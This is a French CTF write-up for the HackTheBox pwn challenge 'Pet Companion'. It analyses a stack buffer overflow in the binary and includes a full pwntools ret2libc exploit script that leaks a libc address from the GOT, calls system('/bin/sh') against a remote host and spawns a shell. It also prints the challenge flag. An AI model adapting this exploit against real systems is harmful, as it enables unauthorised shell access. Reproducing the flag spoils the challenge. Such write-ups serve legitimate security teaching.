Pet Companion

Catégorie: Pwn Difficulté: easy Flag: HTB{c0nf1gur3_w3r_d0g}

Challenge

Description


Pet companion is an easy difficulty challenge that features ret2csu vulnerability in glibc-2.27.

Analyse du code

int main(void) {
  undefined8 user_input;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  setup();
  user_input = 0x0;
  local_40 = 0x0;
  local_38 = 0x0;
  local_30 = 0x0;
  local_28 = 0x0;
  local_20 = 0x0;
  local_18 = 0x0;
  local_10 = 0x0;
  write(0x1,"\n[!] Set your pet companion\'s current status: ", 0x2e);
  read(0x0,&user_input,0x100);
  write(0x1,"\n[*] Configuring...\n\n", 0x15);
  return 0x0;
}

On a le buffer user_input qui fait 64 bytes (8 x 8 puisque local_40 jusque local_10 sont la suite du buffer)

Plus loin on read 0x100 soit 256 bytes, on a donc un dépassement de tampon de 256 - 64 = 192 bytes

Avec checksec on peut regarder les propriétés de l’exécutable

[*] 'pet_companion'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'
  • Il n’y a pas de canary donc le buffer overflow sera plus simple à exploiter

  • Il n’y a pas de PIE, donc même si les adresses des librairies changent, celles du programme resteront les mêmes


Exploitation

Pour ça on va utiliser la GOT (Global Offset Table) qui contient les adresses des variables globales et des fonctions utilisées par le programme, mais dont l'emplacement exact dans la mémoire n'est pas connu au moment de la compilation. Dedans on trouvera les adresses des fonctions read et write de la libc par exemple

Les étapes à faire :

  1. Faire un ROP Chain pour leak l’adresse d’une fonction de la libc qui se trouve dans la GOT puis retourner dans le main pour repasser dans la fonction read

  2. Déduire l’adresse de la libc à partir de ce leak

  3. Utiliser l’adresse de la libc pour choper celle de la fonction system

  4. Utiliser notre 2nd input pour faire un nouvel ROP Chain sur system(”/bin/sh”)

Une fois le shell obtenu, il suffit de faire un cat flag.txt pour récupérer le flag


Script de résolution

import pwn

pwn.context.log_level = 'CRITICAL'

def solve():
	# Remplir le buffer pour atteindre sa limite
	DUMMY = b"A" * 0x48

	binary = pwn.ELF('./pet_companion')
	pwn.context.binary = binary
	libc = pwn.ELF('./glibc/libc.so.6')

	client = pwn.remote('94.237.53.3', 39416)

	# Première attaque par ROP Chain
	rop = pwn.ROP(binary)
	# Ecrire l'adresse de write dans la GOT dans la sortie standard (1)
	rop.write(1, binary.got['write'])
	# Retourner au main pour réécrire ensuite
	rop.main()
	# Envoie du payload
	client.sendlineafter(b'status', DUMMY + rop.chain())

	client.recvuntil(b'Configuring...\n\n')
	# Récupération de l'adresse de write
	write_address = pwn.unpack(client.recv(8))
	# On détermine l'adresse de la libc grâce à l'adresse de write récupérée
	libc.address = write_address - libc.symbols['write']

	# Seconde attaque par ROP Chain
	rop = pwn.ROP(libc)
	# On lance une commande /bin/sh grâce à system
	rop.system(next(libc.search(b'/bin/sh\x00')))
	client.sendlineafter(b'status', DUMMY + rop.chain())

	# On prend la main sur le shell obtenu
	client.interactive()

if __name__ == '__main__':
	solve()

Dernière mise à jour

Cet article vous a-t-il été utile ?